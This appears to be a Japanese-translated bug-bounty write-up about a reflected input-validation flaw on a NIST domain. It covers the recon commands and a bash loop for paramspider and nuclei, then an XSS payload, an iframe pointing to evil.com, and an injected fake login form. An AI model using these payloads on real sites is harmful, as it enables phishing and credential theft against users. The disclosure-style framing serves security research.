ソース:
脆弱性:Improper Input Validation
訳:
米国立標準技術研究所 (NIST) のドメインの 1 つで新たな脆弱性が発見され。
まずSubfinder と httpx 、Ubuntu ターミナルで次のコマンドを実行し。
subfinder -d target.com all | httpx -mc 200 | tee target.txt
次に、 paramspider すべての一意の URL を取得しました。
しかし、ドメインがたくさんあるので、すべてのドメインを 1 つずつ入力してすべての URL を収集するには時間がかかります。
今が最適な時期であると 1 つ思いつきました。
そこで、 ChatGPT を 使用してこのプロセスを自動化し 。
ChatGPT を使用して bash スクリプトを作成し、5 分以内にすべての URL を収集し。
input_file="targetdomainlive"
output_file="paramspider_output.txt"
> "$output_file"
while read -r URL; do
python3 ParamSpider/paramspider.py -d "${URL}" --level high >> "$output_file"
done < "$input_file"
echo "Output saved to $output_file"
※このコマンドについて
-
#!/bin/bash
-
input_file="targetdomainlive"
input_file
という変数に"targetdomainlive"
という文字列を代入しています。この文字列は後で参照される入力ファイルの名前を示しています。
-
output_file="paramspider_output.txt"
output_file
という変数に"paramspider_output.txt"
という文字列を代入しています。この文字列は後で参照される出力ファイルの名前を示しています。
-
> "$output_file"
- この行は
output_file
変数で指定されたファイルの内容を空にする(初期化する)ためのものです。
- この行は
-
while read -r URL; do
input_file
で指定されたファイルから1行ずつ読み込んで、それをURL
という変数に代入してループを回します。
-
python3 ParamSpider/paramspider.py -d "${URL}" --level high >> "$output_file"
-
done < "$input_file"
- この行はwhileループが
input_file
から1行ずつ読み込むことを指定しています。
- この行はwhileループが
-
echo "Output saved to $output_file"
- スクリプトの処理が完了した後、出力がどのファイルに保存されたかを表示するための行です。
要するに、このスクリプトはtargetdomainlive
という名前のファイルにリストされているURLごとに、ParamSpider/paramspider.py
を実行し、その結果をparamspider_output.txt
という名前のファイルに保存します。
次のステップでは、nucleiとnucleiのテンプレを使い。
nuclei -l paramspider_output.txt -t nuclei-templates/http/vulnerabilities/
その後、1 つのパラメータに脆弱性があり、そこに入力された内容がすべてページに反映される URL を見つけ。
そこで、ソースコードを確認した後、このペイロードを試してみて。
Hello"></a><Svg Only=1 OnLoad=confirm(atob("WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgUm95elNlYw=="))>
しかし、それがポップアップしなかったので、これは私の心を壊しました。
その後、私は希望を失わず、IFrame ペイロードを試し。
使用されるペイロード:
FUZZ"></a><iframe src="https://evil.com"></iframe>
次に、その下にログイン フォームを作成してみて。
HTMLコード:
FUZZ'"></a><body><div class="container"><h2>Login</h2><form action="login_process.php" method="post"><label for="username">Username:</label><input type="text" id="username" name="username" required><label for="password">Password:</label><input type="password" id="password" name="password" required><input type="submit" value="Login"></form></div></body>
ほなほな。